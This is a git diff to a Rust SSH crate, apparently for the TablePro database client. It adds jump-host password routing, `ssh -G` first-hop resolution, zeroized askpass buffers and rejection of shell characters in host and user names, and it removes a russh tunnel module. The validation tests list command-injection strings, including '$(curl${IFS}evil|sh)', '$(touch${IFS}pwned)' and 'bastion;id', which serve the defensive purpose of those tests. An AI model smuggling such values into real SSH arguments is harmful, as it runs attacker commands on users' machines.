NetworkEndpoint::new(postgres_host, 5432).expect("a valid endpoint"), + ssh: Some(SshConfig { + destination: SshDestination::new(sshd.host(), Some(sshd.port()), Some("tablepro".to_owned())) + .expect("a valid ssh destination"), + jump_hosts: Vec::new(), + auth: SshAuth::PrivateKey { + path: Some(key.to_owned()), + passphrase: None, + }, + }), + credentials: password(&postgres.password_credentials()), + database: Some(postgres.database().to_owned()), + tls: TlsConfig::disabled(), + } +} + +fn process_alive(pid: u32) -> bool { + Path::new(&format!("/proc/{pid}")).exists() +} + +#[tokio::test(flavor = "multi_thread", worker_threads = 2)] +#[ignore = "requires docker"] +async fn session_through_openssh_reconnects_after_the_master_dies() { + let network = TestNetwork::new(); + let postgres = PostgresFixture::start_in(HbaMode::Password, &network) + .await + .expect("PostgreSQL"); + let key = SshKeyPair::generate("tablepro-session-test").await.expect("a key pair"); + let private_key = key.private_key().to_owned(); + let sshd = OpenSshFixture::start_in(SshAuthVariant::PublicKey(key), &network) + .await + .expect("an OpenSSH server"); + let ssh = isolated_ssh(); + let connector = connector(ssh.services.clone()); + + let pending = establish(&connector, request(ssh_target(&sshd, &postgres, &private_key))).await; + let first_master = pending + .established() + .ssh_session + .as_ref() + .and_then(|session| session.master_pid()) + .expect("an ssh master"); + let session = start(connector, pending); + assert_eq!( + scalar(&session, OperationKind::Metadata, "SELECT current_database()").await, + Ok(Value::Text(postgres.database().to_owned())) + ); + let mut changes = session.link_changes(); + + let killed = std::process::Command::new("kill") + .arg(first_master.to_string()) + .status() + .expect("kill ran"); + assert!(killed.success()); + tokio::time::timeout(WAIT, changes.changed()) + .await + .expect("the monitor reconnected in time") + .expect("the link is still there"); + + assert_eq!(changes.borrow().get(), 1); + assert!(!process_alive(first_master)); + assert_eq!( + scalar(&session, OperationKind::Metadata, "SELECT 5").await, + Ok(Value::Int(5)) + ); + assert_eq!(*session.health().borrow(), SessionHealth::Online); + let report = session.begin_shutdown().await.expect("the close task"); + assert_eq!(report, tablepro_session::CloseReport::Closed); +} diff --git a/linux/crates/ssh/Cargo.toml b/linux/crates/ssh/Cargo.toml index 4571f80017..5f3cdeda7a 100644 --- a/linux/crates/ssh/Cargo.toml +++ b/linux/crates/ssh/Cargo.toml @@ -17,7 +17,6 @@ path = "src/bin/tablepro-askpass.rs" tablepro-core = { path = "../core" } async-trait.workspace = true futures.workspace = true -russh.workspace = true secrecy.workspace = true thiserror.workspace = true tokio = { workspace = true, features = ["io-util", "process", "net", "time", "sync", "fs"] } diff --git a/linux/crates/ssh/src/askpass_bridge.rs b/linux/crates/ssh/src/askpass_bridge.rs index d9d90d966e..3955c6b6e4 100644 --- a/linux/crates/ssh/src/askpass_bridge.rs +++ b/linux/crates/ssh/src/askpass_bridge.rs @@ -1,10 +1,11 @@ use std::io; -use futures::{SinkExt, StreamExt}; +use futures::StreamExt; use secrecy::{ExposeSecret, SecretString}; use tablepro_core::credentials::{CredentialInteraction, PromptReason, PromptReply}; +use tokio::io::AsyncWriteExt; use tokio::net::UnixStream; -use tokio_util::bytes::{BufMut, Bytes, BytesMut}; +use tokio_util::bytes::BytesMut; use tokio_util::codec::{Framed, LengthDelimitedCodec}; use zeroize::Zeroizing; @@ -26,6 +27,8 @@ pub(crate) struct AskpassBridge { target: String, interaction: CredentialInteraction, password: Option, + /// The `user@host` whose password prompt the stored password answers. + password_owner: Option, passphrase: Option, used_password: bool, used_passphrase: bool, @@ -33,7 +36,13 @@ pub(crate) struct AskpassBridge { } impl AskpassBridge { - pub fn new(owner_uid: u32, target: String, interaction: CredentialInteraction, auth: &SshAuth) -> Self { + pub fn new( + owner_uid: u32, + target: String, + interaction: CredentialInteraction, + auth: &SshAuth, + password_owner: Option, + ) -> Self { let (password, passphrase) = match auth { SshAuth::Password { password } => (Some(password.clone()), None), SshAuth::PrivateKey { passphrase, .. } => (None, passphrase.clone()), @@ -44,6 +53,7 @@ impl AskpassBridge { target, interaction, password, + password_owner, passphrase, used_password: false, used_passphrase: false, @@ -51,6 +61,12 @@ impl AskpassBridge { } } + fn owns_password(&self, user_host: &str) -> bool { + self.password_owner + .as_deref() + .is_some_and(|owner| owner.eq_ignore_ascii_case(user_host)) + } + pub fn declined_host_key(&self) -> Option<&DeclinedHostKey> { self.declined_host_key.as_ref() } @@ -65,7 +81,10 @@ impl AskpassBridge { let text = next_frame(&mut framed).await?; let prompt = AskpassPrompt::classify(&String::from_utf8_lossy(&hint), &String::from_utf8_lossy(&text)); let reply = self.reply_to(&prompt).await; - framed.send(encode(reply)).await + // The reply goes out through a buffer this side wipes, rather + // than the codec's, which would keep a copy of the secret. + let mut stream = framed.into_inner(); + stream.write_all(&encode(reply)).await } async fn reply_to(&mut self, prompt: &AskpassPrompt) -> Reply { @@ -73,7 +92,10 @@ impl AskpassBridge { tracing::info!(notification = %text, "ssh notification"); return Reply::Answer(Zeroizing::new(String::new())); } - if matches!(prompt, AskpassPrompt::Password { .. }) + // A jump host asks first, through the same askpass, and must not be + // handed the destination's password. + if let AskpassPrompt::Password { user_host } = prompt + && self.owns_password(user_host) && let Some(secret) = self.password.take() { self.used_password = true; @@ -91,7 +113,9 @@ impl AskpassBridge { return Reply::Cancel; }; let reason = match prompt { - AskpassPrompt::Password { .. } if self.used_password => PromptReason::Rejected, + AskpassPrompt::Password { user_host } if self.used_password && self.owns_password(user_host) => { + PromptReason::Rejected + } AskpassPrompt::Passphrase { .. } if self.used_passphrase => PromptReason::Rejected, _ => PromptReason::NotStored, }; @@ -146,16 +170,19 @@ fn answer(secret: &SecretString) -> Reply { Reply::Answer(Zeroizing::new(secret.expose_secret().to_owned())) } -fn encode(reply: Reply) -> Bytes { - match reply { - Reply::Answer(text) => { - let mut frame = BytesMut::with_capacity(1 + text.len()); - frame.put_u8(ANSWER); - frame.put_slice(text.as_bytes()); - frame.freeze() - } - Reply::Cancel => Bytes::from_static(&[CANCEL]), - } +/// One length-prefixed frame. The capacity is exact, so the vector +/// never reallocates and leaves an unwiped copy behind. +fn encode(reply: Reply) -> Zeroizing> { + let (tag, text) = match &reply { + Reply::Answer(text) => (ANSWER, text.as_bytes()), + Reply::Cancel => (CANCEL, &[][..]), + }; + let length = 1 + text.len(); + let mut frame = Zeroizing::new(Vec::with_capacity(4 + length)); + frame.extend_from_slice(&u32::try_from(length).unwrap_or(u32::MAX).to_be_bytes()); + frame.push(tag); + frame.extend_from_slice(text); + frame } #[cfg(test)] @@ -163,9 +190,10 @@ mod tests { use std::os::unix::fs::MetadataExt; use std::sync::Arc; + use futures::SinkExt; use tablepro_core::credentials::PromptPurpose; use tablepro_test_support::FakePrompter; - use tokio::io::AsyncWriteExt; + use tokio_util::bytes::Bytes; use super::*; @@ -180,7 +208,13 @@ mod tests { } fn bridge(interaction: CredentialInteraction, auth: &SshAuth) -> AskpassBridge { - AskpassBridge::new(current_uid(), "deploy@bastion".to_owned(), interaction, auth) + AskpassBridge::new( + current_uid(), + "deploy@bastion".to_owned(), + interaction, + auth, + Some("deploy@bastion".to_owned()), + ) } async fn exchange(bridge: &mut AskpassBridge, hint: &str, text: &str) -> Vec { @@ -238,6 +272,52 @@ mod tests { ); } + #[tokio::test] + async fn a_jump_host_is_never_given_the_destination_password() { + let prompter = Arc::new(FakePrompter::new([PromptReply::Submitted { + values: vec![SecretString::from("jump-typed")], + remember: false, + }])); + let auth = SshAuth::Password { + password: SecretString::from("s3cret"), + }; + let mut bridge = bridge(CredentialInteraction::Attended(prompter.clone()), &auth); + + assert_eq!( + exchange(&mut bridge, "", "ops@jump1's password: ").await, + b"\x00jump-typed" + ); + let requests = prompter.requests(); + assert_eq!(requests.len(), 1); + assert_eq!(requests[0].target, "ops@jump1"); + assert_eq!( + requests[0].purpose, + PromptPurpose::SshPassword { + reason: PromptReason::NotStored + } + ); + assert_eq!( + exchange(&mut bridge, "", "deploy@bastion's password: ").await, + b"\x00s3cret" + ); + } + + #[tokio::test] + async fn without_a_resolved_owner_the_stored_password_is_not_sent() { + let auth = SshAuth::Password { + password: SecretString::from("s3cret"), + }; + let mut bridge = AskpassBridge::new( + current_uid(), + "bastion".to_owned(), + CredentialInteraction::Unattended, + &auth, + None, + ); + + assert_eq!(exchange(&mut bridge, "", "deploy@bastion's password: ").await, [CANCEL]); + } + /// The bridge has to answer the older wording too, or ssh gets no /// answer and reports the host key as unverified. #[tokio::test] @@ -288,6 +368,7 @@ mod tests { "bastion".to_owned(), CredentialInteraction::Unattended, &SshAuth::Agent, + None, ); let (client, server) = UnixStream::pair().unwrap(); bridge.handle(server).await.unwrap(); diff --git a/linux/crates/ssh/src/bin/tablepro-askpass.rs b/linux/crates/ssh/src/bin/tablepro-askpass.rs index f22355ea67..497d2ae078 100644 --- a/linux/crates/ssh/src/bin/tablepro-askpass.rs +++ b/linux/crates/ssh/src/bin/tablepro-askpass.rs @@ -4,6 +4,8 @@ use std::os::unix::ffi::OsStrExt; use std::os::unix::net::UnixStream; use std::process::ExitCode; +use zeroize::Zeroizing; + const MAX_FRAME: usize = 65_536; const ANSWER: u8 = 0x00; @@ -22,7 +24,7 @@ fn main() -> ExitCode { } } -fn request_answer() -> Option> { +fn request_answer() -> Option>> { let socket = env::var_os("TABLEPRO_ASKPASS_SOCKET")?; let hint = env::var_os("SSH_ASKPASS_PROMPT").unwrap_or_default(); let prompt = env::args_os().nth(1).unwrap_or_default(); @@ -32,7 +34,7 @@ fn request_answer() -> Option> { write_frame(&mut stream, prompt.as_bytes())?; let reply = read_frame(&mut stream)?; match reply.split_first() { - Some((&ANSWER, answer)) => Some(answer.to_vec()), + Some((&ANSWER, answer)) => Some(Zeroizing::new(answer.to_vec())), _ => None, } } @@ -46,14 +48,14 @@ fn write_frame(stream: &mut UnixStream, bytes: &[u8]) -> Option<()> { stream.write_all(bytes).ok() } -fn read_frame(stream: &mut UnixStream) -> Option> { +fn read_frame(stream: &mut UnixStream) -> Option>> { let mut length = [0u8; 4]; stream.read_exact(&mut length).ok()?; let length = usize::try_from(u32::from_be_bytes(length)).ok()?; if length > MAX_FRAME { return None; } - let mut frame = vec![0u8; length]; + let mut frame = Zeroizing::new(vec![0u8; length]); stream.read_exact(&mut frame).ok()?; Some(frame) } diff --git a/linux/crates/ssh/src/destination.rs b/linux/crates/ssh/src/destination.rs index 5d8dd2809f..2dd14dd997 100644 --- a/linux/crates/ssh/src/destination.rs +++ b/linux/crates/ssh/src/destination.rs @@ -16,12 +16,12 @@ impl SshDestination { .strip_prefix('[') .and_then(|inner| inner.strip_suffix(']')) .unwrap_or(trimmed); - check_part("host", host)?; + check_part(Part::Host, host)?; if port == Some(0) { return Err(invalid("port 0 is not a valid port")); } if let Some(user) = &user { - check_part("user", user)?; + check_part(Part::User, user)?; } Ok(Self { host: host.to_owned(), @@ -89,7 +89,35 @@ impl fmt::Display for SshDestination { } } -fn check_part(name: &str, value: &str) -> Result<(), SshFailure> { +/// What OpenSSH 9.6 refuses in a host or user name from the command line +/// (`valid_hostname` and `valid_ruser` in ssh.c), plus the comma that +/// separates `-J` hops. Older clients paste a jump hop into a proxy +/// command that `sh -c` runs, so one of these would run as a command. +const SHELL_CHARACTERS: &[char] = &['\'', '`', '"', '$', ';', '&', '<', '>', '|', '(', ')', '{', '}', ',']; + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum Part { + Host, + User, +} + +impl Part { + fn name(self) -> &'static str { + match self { + Self::Host => "host", + Self::User => "user", + } + } + + /// A Windows account may be DOMAIN\user; a host name never holds a + /// backslash. + fn allows_backslash(self) -> bool { + self == Self::User + } +} + +fn check_part(part: Part, value: &str) -> Result<(), SshFailure> { + let name = part.name(); if value.is_empty() { return Err(invalid(&format!("the {name} is empty"))); } @@ -99,6 +127,13 @@ fn check_part(name: &str, value: &str) -> Result<(), SshFailure> { if value.chars().any(|c| c.is_whitespace() || c.is_control()) { return Err(invalid(&format!("the {name} contains spaces or control characters"))); } + if let Some(found) = value.chars().find(|c| SHELL_CHARACTERS.contains(c)) { + return Err(invalid(&format!("the {name} contains '{found}'"))); + } + // A trailing backslash would escape whatever ssh appends after it. + if value.ends_with('\\') || (!part.allows_backslash() && value.contains('\\')) { + return Err(invalid(&format!("the {name} contains '\\'"))); + } Ok(()) } @@ -127,6 +162,13 @@ mod tests { SshDestination::new("bastion", Some(0), None), SshDestination::new("bastion", None, Some("-lroot".to_owned())), SshDestination::new("bastion", None, Some(String::new())), + SshDestination::new("$(touch${IFS}pwned)", None, None), + SshDestination::new("bastion;id", None, None), + SshDestination::new("bastion`id`", None, None), + SshDestination::new("bastion|id", None, None), + SshDestination::new("bastion\\x", None, None), + SshDestination::new("bastion", None, Some("ops'x".to_owned())), + SshDestination::new("bastion", None, Some("ops\\".to_owned())), ]; for result in rejected { assert!( @@ -137,6 +179,21 @@ mod tests { let accepted = SshDestination::new(" bastion.example.com ", Some(2222), Some("deploy".to_owned())).unwrap(); assert_eq!(accepted.host(), "bastion.example.com"); assert_eq!(accepted.to_string(), "deploy@bastion.example.com:2222"); + let domain_user = SshDestination::new("winhost", None, Some("CORP\\deploy".to_owned())).unwrap(); + assert_eq!(domain_user.user(), Some("CORP\\deploy")); + } + + #[test] + fn a_jump_hop_with_shell_characters_is_refused() { + for list in ["$(curl${IFS}evil|sh)", "ops@jump1,`id`", "jump1&id", "ops;id@jump1"] { + assert!( + matches!( + SshDestination::parse_jump_list(list), + Err(SshFailure::InvalidDestination { .. }) + ), + "{list}" + ); + } } #[test] diff --git a/linux/crates/ssh/src/first_hop.rs b/linux/crates/ssh/src/first_hop.rs new file mode 100644 index 0000000000..4aeb3d8109 --- /dev/null +++ b/linux/crates/ssh/src/first_hop.rs @@ -0,0 +1,240 @@ +use std::ffi::OsString; +use std::path::Path; +use std::process::Stdio; +use std::time::Duration; + +use tablepro_core::NetworkEndpoint; +use tokio::process::Command; + +use crate::{SshConfig, SshDestination}; + +/// `ssh -G` does no network I/O, but a `Match exec` line can run a +/// command, so each lookup is still bounded. +const LOOKUP_TIMEOUT: Duration = Duration::from_secs(5); +/// A ProxyJump chain whose hops name each other never ends; real chains +/// are a few hops long. +const MAX_HOPS: usize = 8; +const DEFAULT_PORT: u16 = 22; + +#[derive(Debug, PartialEq, Eq)] +enum Resolved { + Direct(NetworkEndpoint), + Jump(SshDestination), + ProxyCommand, +} + +/// The host and port the first TCP connection of a session goes to. +/// +/// An ssh_config alias is only a name until `ssh -G` resolves it, and a +/// jump chain starts at its first hop, so this asks ssh rather than +/// trusting what the user typed. `None` when the route is a +/// ProxyCommand, whose first hop only that command knows. +pub(crate) async fn resolve_first_hop(ssh_program: &Path, config: &SshConfig) -> Option { + let mut destination = config.destination.clone(); + let mut jumps = config.jump_hosts.clone(); + for _ in 0..MAX_HOPS { + let output = lookup(ssh_program, &destination, &jumps).await?; + match parse_resolved(&output)? { + Resolved::Direct(endpoint) => return Some(endpoint), + Resolved::ProxyCommand => return None, + Resolved::Jump(first) => { + destination = first; + jumps = Vec::new(); + } + } + } + tracing::debug!(destination = %config.destination, "the ssh jump chain did not end"); + None +} + +pub(crate) async fn lookup( + ssh_program: &Path, + destination: &SshDestination, + jumps: &[SshDestination], +) -> Option { + let mut args: Vec = vec!["-G".into()]; + if !jumps.is_empty() { + let hops: Vec = jumps.iter().map(ToString::to_string).collect(); + args.push("-J".into()); + args.push(hops.join(",").into()); + } + if let Some(port) = destination.port() { + args.push("-p".into()); + args.push(port.to_string().into()); + } + if let Some(user) = destination.user() { + args.push("-l".into()); + args.push(user.into()); + } + args.push("--".into()); + args.push(destination.host().into()); + + let run = Command::new(ssh_program) + .args(&args) + .stdin(Stdio::null()) + .stderr(Stdio::null()) + .kill_on_drop(true) + .output(); + match tokio::time::timeout(LOOKUP_TIMEOUT, run).await { + Ok(Ok(output)) if output.status.success() => Some(String::from_utf8_lossy(&output.stdout).into_owned()), + Ok(Ok(output)) => { + tracing::debug!(status = ?output.status.code(), "ssh -G could not resolve the first hop"); + None + } + Ok(Err(error)) => { + tracing::debug!(%error, "could not run ssh -G"); + None + } + Err(_) => { + tracing::debug!("ssh -G did not finish"); + None + } + } +} + +fn parse_resolved(ssh_g_output: &str) -> Option { + let mut hostname = None; + let mut port = None; + let mut proxy_jump = None; + let mut proxy_command = false; + for line in ssh_g_output.lines() { + let Some((key, value)) = line.split_once(' ') else { + continue; + }; + let value = value.trim(); + match key { + "hostname" => hostname = Some(value), + "port" => port = value.parse::().ok(), + "proxyjump" if value != "none" => proxy_jump = Some(value), + "proxycommand" if value != "none" => proxy_command = true, + _ => {} + } + } + if let Some(chain) = proxy_jump { + let first = chain.split(',').next()?.trim(); + let first = first.strip_prefix("ssh://").unwrap_or(first); + let mut hops = SshDestination::parse_jump_list(first).ok()?; + return hops.pop().map(Resolved::Jump); + } + if proxy_command { + return Some(Resolved::ProxyCommand); + } + NetworkEndpoint::new(hostname?, port.unwrap_or(DEFAULT_PORT)) + .ok() + .map(Resolved::Direct) +} + +#[cfg(test)] +mod tests { + use std::os::unix::fs::PermissionsExt; + use std::path::PathBuf; + + use super::*; + use crate::SshAuth; + + fn endpoint(host: &str, port: u16) -> NetworkEndpoint { + NetworkEndpoint::new(host, port).unwrap() + } + + #[test] + fn a_direct_destination_resolves_to_its_hostname_and_port() { + let output = "user deploy\nhostname 192.0.2.10\nport 2222\n"; + + assert_eq!( + parse_resolved(output), + Some(Resolved::Direct(endpoint("192.0.2.10", 2222))) + ); + } + + #[test] + fn a_jump_chain_starts_at_its_first_hop() { + let output = "hostname db.internal\nport 22\nproxyjump ops@jump.example.com:2200,second\n"; + + assert_eq!( + parse_resolved(output), + Some(Resolved::Jump( + SshDestination::new("jump.example.com", Some(2200), Some("ops".to_owned())).unwrap() + )) + ); + } + + #[test] + fn a_uri_jump_and_an_ipv6_jump_parse() { + let uri = "hostname t\nproxyjump ssh://ops@jump.example.com:2200\n"; + let ipv6 = "hostname t\nproxyjump [::1]:2201\n"; + + assert_eq!( + parse_resolved(uri), + Some(Resolved::Jump( + SshDestination::new("jump.example.com", Some(2200), Some("ops".to_owned())).unwrap() + )) + ); + assert_eq!( + parse_resolved(ipv6), + Some(Resolved::Jump(SshDestination::new("::1", Some(2201), None).unwrap())) + ); + } + + #[test] + fn a_proxy_command_has_no_known_first_hop() { + let output = "hostname t\nport 22\nproxycommand nc %h %p\n"; + + assert_eq!(parse_resolved(output), Some(Resolved::ProxyCommand)); + } + + #[test] + fn none_values_are_not_proxies() { + let output = "hostname t\nport 22\nproxyjump none\nproxycommand none\n"; + + assert_eq!(parse_resolved(output), Some(Resolved::Direct(endpoint("t", 22)))); + } + + fn fake_ssh(dir: &Path, script: &str) -> PathBuf { + let program = dir.join("ssh"); + std::fs::write(&program, format!("#!/bin/sh\n{script}\n")).unwrap(); + std::fs::set_permissions(&program, std::fs::Permissions::from_mode(0o755)).unwrap(); + program + } + + fn config(host: &str, jumps: &[&str]) -> SshConfig { + SshConfig { + destination: SshDestination::new(host, None, None).unwrap(), + jump_hosts: jumps + .iter() + .map(|jump| SshDestination::new(*jump, None, None).unwrap()) + .collect(), + auth: SshAuth::Agent, + } + } + + /// The fake prints a jump for the database host and resolves the + /// alias the jump names, the way an ssh_config would. + #[tokio::test] + async fn an_alias_behind_a_jump_resolves_through_ssh_g() { + let temp = tempfile::tempdir().unwrap(); + let program = fake_ssh( + temp.path(), + r#"for last; do :; done +case "$last" in + db) printf 'hostname 10.0.0.5\nport 5432\nproxyjump bastion\n' ;; + bastion) printf 'hostname 192.0.2.10\nport 2222\n' ;; + *) exit 255 ;; +esac"#, + ); + + let first = resolve_first_hop(&program, &config("db", &["bastion"])).await; + + assert_eq!(first, Some(endpoint("192.0.2.10", 2222))); + } + + #[tokio::test] + async fn a_failing_lookup_and_a_jump_loop_resolve_to_nothing() { + let temp = tempfile::tempdir().unwrap(); + let failing = fake_ssh(temp.path(), "exit 255"); + assert_eq!(resolve_first_hop(&failing, &config("db", &[])).await, None); + + let looping = tempfile::tempdir().unwrap(); + let program = fake_ssh(looping.path(), r"printf 'hostname x\nproxyjump loop\n'"); + assert_eq!(resolve_first_hop(&program, &config("loop", &[])).await, None); + } +} diff --git a/linux/crates/ssh/src/lib.rs b/linux/crates/ssh/src/lib.rs index 0c693e390f..038aa20dc5 100644 --- a/linux/crates/ssh/src/lib.rs +++ b/linux/crates/ssh/src/lib.rs @@ -4,12 +4,13 @@ mod argv; mod askpass_bridge; mod config; mod destination; +mod first_hop; mod forward; mod known_hosts; +mod password_owner; mod prompt; mod runtime; mod runtime_cell; -pub mod russh_tunnel; mod services; mod session; mod stderr_classify; @@ -23,7 +24,7 @@ pub use known_hosts::forget_host_key; pub use prompt::AskpassPrompt; pub use runtime::SshRuntime; pub use runtime_cell::SshRuntimeCell; -pub use services::SshServices; +pub use services::{ASKPASS_HELPER, SshServices}; pub use session::SshSession; pub use sweep::sweep_stale_masters; diff --git a/linux/crates/ssh/src/password_owner.rs b/linux/crates/ssh/src/password_owner.rs new file mode 100644 index 0000000000..6dfa0d3ae0 --- /dev/null +++ b/linux/crates/ssh/src/password_owner.rs @@ -0,0 +1,72 @@ +use std::path::Path; + +use crate::SshConfig; +use crate::first_hop::lookup; + +/// The `user@host` OpenSSH puts in the destination's password prompt, so +/// a stored password goes to that prompt and never to a jump host's. +/// +/// sshconnect2.c prints `%.30s@%.128s's password: ` with the server user +/// and HostKeyAlias, or the resolved HostName when there is no alias. +pub(crate) async fn resolve_password_owner(ssh_program: &Path, config: &SshConfig) -> Option { + let output = lookup(ssh_program, &config.destination, &config.jump_hosts).await?; + password_owner(&output) +} + +fn password_owner(ssh_g_output: &str) -> Option { + let mut user = None; + let mut hostname = None; + let mut alias = None; + for line in ssh_g_output.lines() { + let Some((key, value)) = line.split_once(' ') else { + continue; + }; + let value = value.trim(); + match key { + "user" => user = Some(value), + "hostname" => hostname = Some(value), + "hostkeyalias" if value != "none" => alias = Some(value), + _ => {} + } + } + let host = alias.or(hostname)?; + Some(format!("{}@{}", printed(user?, 30), printed(host, 128))) +} + +/// What C's `%.Ns` prints of `text`. +fn printed(text: &str, bytes: usize) -> &str { + text.get(..bytes).unwrap_or(text) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn the_owner_is_the_resolved_user_and_host() { + let output = "host prod\nuser deploy\nhostname 10.0.0.5\nport 22\nproxyjump ops@jump1\n"; + + assert_eq!(password_owner(output).as_deref(), Some("deploy@10.0.0.5")); + } + + #[test] + fn a_host_key_alias_names_the_host() { + let output = "user deploy\nhostname 10.0.0.5\nhostkeyalias db-prod\n"; + + assert_eq!(password_owner(output).as_deref(), Some("deploy@db-prod")); + } + + #[test] + fn long_names_are_cut_where_openssh_cuts_them() { + let user = "u".repeat(40); + let output = format!("user {user}\nhostname db\n"); + + assert_eq!(password_owner(&output), Some(format!("{}@db", "u".repeat(30)))); + } + + #[test] + fn no_owner_without_a_user_or_host() { + assert_eq!(password_owner("hostname db\n"), None); + assert_eq!(password_owner("user deploy\n"), None); + } +} diff --git a/linux/crates/ssh/src/prompt.rs b/linux/crates/ssh/src/prompt.rs index 7ecdafb0ba..e478fc94eb 100644 --- a/linux/crates/ssh/src/prompt.rs +++ b/linux/crates/ssh/src/prompt.rs @@ -58,6 +58,9 @@ impl AskpassPrompt { secret: true, }] }; + // Nothing an askpass answer gives is stored: the prompt comes + // from inside ssh, which knows nothing of the keyring, so it + // never offers to remember. let (purpose, fields, offer_remember) = match self { Self::Notification { .. } => return None, Self::HostKeyConfirmation { @@ -80,9 +83,9 @@ impl AskpassPrompt { reason, }, secret_field("Passphrase"), - true, + false, ), - Self::Password { .. } => (PromptPurpose::SshPassword { reason }, secret_field("Password"), true), + Self::Password { .. } => (PromptPurpose::SshPassword { reason }, secret_field("Password"), false), Self::KeyboardInteractive { text } | Self::Other { text } => ( PromptPurpose::SshKeyboardInteractive { name: String::new(), @@ -92,6 +95,11 @@ impl AskpassPrompt { false, ), }; + // Behind a jump host, the host asking is not the destination. + let target = match self { + Self::Password { user_host } => user_host.as_str(), + _ => target, + }; Some(CredentialPrompt { purpose, target: target.to_owned(), @@ -228,9 +236,8 @@ mod tests { let password = AskpassPrompt::Password { user_host: "deploy@bastion".to_owned(), }; - let prompt = password - .credential_prompt("deploy@bastion", PromptReason::NotStored) - .unwrap(); + let prompt = password.credential_prompt("prod", PromptReason::NotStored).unwrap(); + assert_eq!(prompt.target, "deploy@bastion", "the host asking, not the destination"); assert_eq!( prompt.purpose, PromptPurpose::SshPassword { @@ -238,7 +245,7 @@ mod tests { } ); assert_eq!(prompt.fields.len(), 1); - assert!(prompt.offer_remember); + assert!(!prompt.offer_remember, "an askpass answer is never stored"); let other = AskpassPrompt::Other { text: "PIN: ".to_owned(), diff --git a/linux/crates/ssh/src/russh_tunnel.rs b/linux/crates/ssh/src/russh_tunnel.rs deleted file mode 100644 index 2cce856e68..0000000000 --- a/linux/crates/ssh/src/russh_tunnel.rs +++ /dev/null @@ -1,449 +0,0 @@ -use std::path::{Path, PathBuf}; -use std::sync::{Arc, Mutex}; - -use secrecy::{ExposeSecret, SecretString}; -use thiserror::Error; -use tokio::io::{AsyncReadExt, AsyncWriteExt}; -use tokio::net::{TcpListener, TcpStream}; -use tokio_util::sync::CancellationToken; - -use russh::ChannelMsg; -use russh::client::{self, Config, Handle}; -use russh::keys::known_hosts::{check_known_hosts_path, learn_known_hosts_path}; -use russh::keys::ssh_key::{HashAlg, PublicKey}; -use russh::keys::{PrivateKeyWithHashAlg, PublicKeyOrCertificate, load_secret_key}; - -const LOCAL_BIND_HOST: &str = "127.0.0.1"; - -#[derive(Debug, Clone)] -pub struct SshConfig { - pub host: String, - pub port: u16, - pub username: String, - pub auth: SshAuth, -} - -#[derive(Debug, Clone)] -pub enum SshAuth { - Password { - password: SecretString, - }, - PrivateKey { - path: PathBuf, - passphrase: Option, - }, -} - -#[derive(Debug, Error)] -pub enum SshError { - #[error("connect: {0}")] - Connect(String), - #[error("authentication failed")] - Auth, - #[error("read private key {path}: {source}")] - Key { - path: PathBuf, - #[source] - source: russh::keys::Error, - }, - #[error("local bind: {0}")] - Bind(#[source] std::io::Error), - #[error( - "host key for {host}:{port} does not match {known_hosts}: stored fingerprint differs (line {line}). \ - If the server was reinstalled, remove the old line; otherwise this may indicate a man-in-the-middle attack. \ - New fingerprint: {new_fingerprint}" - )] - HostKeyMismatch { - host: String, - port: u16, - new_fingerprint: String, - line: usize, - known_hosts: PathBuf, - }, - #[error("known_hosts: {0}")] - KnownHosts(String), - #[error("ssh: {0}")] - Ssh(#[from] russh::Error), - #[error("{setting} needs the OpenSSH transport")] - RequiresOpenSsh { setting: &'static str }, -} - -pub struct SshTunnel { - local_port: u16, - cancel: CancellationToken, - _task: tokio::task::JoinHandle<()>, -} - -impl SshTunnel { - pub async fn open(cfg: SshConfig, remote_host: String, remote_port: u16) -> Result { - let session = Arc::new(connect_and_auth(&cfg).await?); - let listener = TcpListener::bind((LOCAL_BIND_HOST, 0)).await.map_err(SshError::Bind)?; - let local_port = listener.local_addr().map_err(SshError::Bind)?.port(); - - tracing::info!( - ssh_host = %cfg.host, - ssh_port = cfg.port, - local_port, - remote_host = %remote_host, - remote_port, - "ssh tunnel listening" - ); - - let cancel = CancellationToken::new(); - let task = tokio::spawn(forwarder_loop( - listener, - session, - remote_host, - remote_port, - cancel.clone(), - )); - - Ok(Self { - local_port, - cancel, - _task: task, - }) - } - - pub fn local_port(&self) -> u16 { - self.local_port - } - - pub fn local_host(&self) -> &'static str { - LOCAL_BIND_HOST - } -} - -impl Drop for SshTunnel { - fn drop(&mut self) { - self.cancel.cancel(); - } -} - -#[derive(Debug, Clone)] -enum HostKeyOutcome { - Trusted, - LearnedNew { fingerprint: String }, - Changed { fingerprint: String, line: usize }, - KnownHostsIo(String), -} - -struct ClientHandler { - target_host: String, - target_port: u16, - known_hosts_path: PathBuf, - outcome: Arc>>, -} - -impl client::Handler for ClientHandler { - type Error = russh::Error; - - async fn check_server_key(&mut self, presented: &PublicKeyOrCertificate) -> Result { - let key = host_public_key(presented); - let fingerprint = key.fingerprint(HashAlg::Sha256).to_string(); - let outcome = verify_or_learn( - &self.target_host, - self.target_port, - &key, - &self.known_hosts_path, - &fingerprint, - ); - let allow = matches!(outcome, HostKeyOutcome::Trusted | HostKeyOutcome::LearnedNew { .. }); - if let Ok(mut slot) = self.outcome.lock() { - *slot = Some(outcome); - } - Ok(allow) - } -} - -/// A host certificate is checked against known_hosts through the key it -/// certifies, which is what OpenSSH does when no `@cert-authority` line -/// matches. -fn host_public_key(presented: &PublicKeyOrCertificate) -> PublicKey { - match presented { - PublicKeyOrCertificate::PublicKey { key, .. } => key.clone(), - PublicKeyOrCertificate::Certificate(certificate) => PublicKey::from(certificate.public_key().clone()), - } -} - -fn verify_or_learn(host: &str, port: u16, key: &PublicKey, known_hosts: &Path, fingerprint: &str) -> HostKeyOutcome { - match check_known_hosts_path(host, port, key, known_hosts) { - Ok(true) => HostKeyOutcome::Trusted, - Ok(false) => match ensure_parent_dir(known_hosts).and_then(|_| { - learn_known_hosts_path(host, port, key, known_hosts).map_err(|e| std::io::Error::other(format!("{e}"))) - }) { - Ok(()) => HostKeyOutcome::LearnedNew { - fingerprint: fingerprint.to_string(), - }, - Err(e) => HostKeyOutcome::KnownHostsIo(e.to_string()), - }, - Err(russh::keys::Error::KeyChanged { line }) => HostKeyOutcome::Changed { - fingerprint: fingerprint.to_string(), - line, - }, - Err(e) => HostKeyOutcome::KnownHostsIo(e.to_string()), - } -} - -fn ensure_parent_dir(path: &Path) -> std::io::Result<()> { - if let Some(parent) = path.parent() { - std::fs::create_dir_all(parent)?; - } - Ok(()) -} - -pub fn default_known_hosts_path() -> Option { - let base = std::env::var_os("XDG_CONFIG_HOME") - 